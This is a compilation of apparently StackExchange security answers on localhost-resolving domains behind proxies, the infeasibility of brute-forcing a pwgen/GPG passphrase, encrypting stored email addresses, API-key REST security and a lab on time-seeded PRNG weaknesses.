The problem with this approach is that it does not work with setups where the hostname is not resolved at the local host but at some proxy (typically HTTP proxy or SOCKS5 proxy). In this case 127.0.0.1 does not mean the local machine where the browser runs and the local server runs and where the request is originating. Instead 127.0.0.1 is the proxy machine where the hostname is resolved to an IP address and then the traffic is forwarded to this IP.

The "solution" suggested by the app support was to allow access to the domain on the proxy. This will not help since it does not solve the problem that 127.0.0.1 from the perspective of the proxy is not the clients system but the proxy system itself. This means it will typically simply not work to access the expected local server. But in the worst case it can also introduce a security issue since often a local administrative interface is running on the proxy which might allow unauthorized access from localhost since the local system is considered trusted.

This kind of broken setup is for example done by Spotify to make access to a local web server possible from the internet, i.e. whatever.spotilocal.com returns 127.0.0.1 - see also What is the advantage of having a domain name (spotilocal) that resolves to 127.0.0.1?. And sure enough, they are running into problems with proxies - spotify blocked by squid.


Brute-force a passphrase, generated by `pwgen 16 -s`, of a GPG CAST5 archive

I'm afraid there's no better than brute force. The tools you used do their job properly, or close enough.

Duplicity invokes gpg -c, which encrypts using CAST5 with a 128-bit key by default. There is no major attack against CAST5 that I know of.
gpg -c uses a key strengthening function to generate a symmetric key. It involves 216 rounds of SHA-1, and I very much doubt it's broken, so the real key has as much entropy as the password you put in (about 95 bits).
pwgen reads a random 32-bit number from /dev/urandom (which is crypto-quality except sometimes on a freshly installed system that hasn't had time to generate entropy — and then only if you can predict the timing of all disk operations so far, which is a tall order) and takes the remainder modulo 62. That's Not Right, because it's skewed towards the digits 0123, but the skew is negligible (about 2-30 off from a uniform distribution) for only 16 runs.
(There's actually a major problem in pwgen: it silently defaults to a non-crypto-quality random generator if /dev/urandom isn't available. But it's very unlikely that you didn't have /dev/urandom.)

Each character that pwgen displays is generated independently, so having another password from the same batch won't help.

Brute force for 295 possible keys is out of the question. That's somewhat over a billion billion billion. You'd need to compute about 2110 SHA-1 hashes.

If the physical machine where you generated the backup is still on, there's a very tiny chance that the memory that was allocated by pwgen hasn't been reused by another process. Or the memory allocated by the terminal emulator, or a program you used to copy-paste the key, or (even harder to exploit) the memory that was allocated by gpg. Your backups may be worth someone poring over a memory dump.

Check if the pwgen output might have been logged somewhere. Is it still visible in a terminal history? Do you routinely run programs under script? Is it still in a live Screen session? Is it in a clipboard history?

I think your best bet is to attempt hardware recovery on the failed disk.


Does it make sense to keep encrypted versions of emails addresses?

Welcome to stackexchange.

The hashing of the email for the purposes of login seems reasonable. There is no real reason not to do it, most sites just don't care enough, which is rather sad.

Encrypting the emails for newsletter may seem rather useless, but it can actually help if done right. The trick is to isolate the web server, so either run it under a limited user, or use firebird or other virtualization method. Then make sure the key is somewhere the web server does not have access and make a cron job for sending the emails. Preferably don't use a web server at all or use another one for the email sending.

In both cases, for the newsletter and for contacting clients, you should use asymmetric cryptography instead, so that you can encrypt the mails without the key. Alternatively use a ratchet setup.

However, I must say this seems a bit excessive just to protect some e-mail addresses. Unless you work for some company the clients would not want to be associated with, such as Ashley Madison, it seems completely unnecessary.


REST security using only API key and SSL

So in principal if you have a situation where it's server-to-server communication then some of the standard concerns about user authentication aren't in play and what you've got sounds reasonable, some things to think about though (and whether these are relvant will depend a lot on your threat model)

Do the API keys used have sufficient entropy to prevent guessing or brute-forcing attacks?
Do you have a process in place for key revokation/re-issue in the event that one of the clients security is compromised.
Are you using Certificate pinning or something similar to mitigate the risks of client machines suffering a MITM attack, where the attacker has the ability to issue a cert from a "trusted" CA.
Does the process for loading the keys onto the clients and servers mitigate the risk of a participant in the process copying/abusing the key?
How are you storing the keys server-side?  In the clear, in reversibly encrypted format, or in a hashed format?


Are there any practical attacks on random number generators?

Insecure use PRNG:
An extremely naive demonstration of this (if you want to do a lab) is to use a seed derived from the current time to generate a Pseudo Random password for an open source password manager (you could add in some other bit of knowable information if you want to make it look more random).  If the students notice this fact in the source they could predict passwords.  Of course the source isn't actually needed to determine this information ( it would just speed up the lab)

for well known real world examples check out https://en.wikipedia.org/wiki/Random_number_generator_attack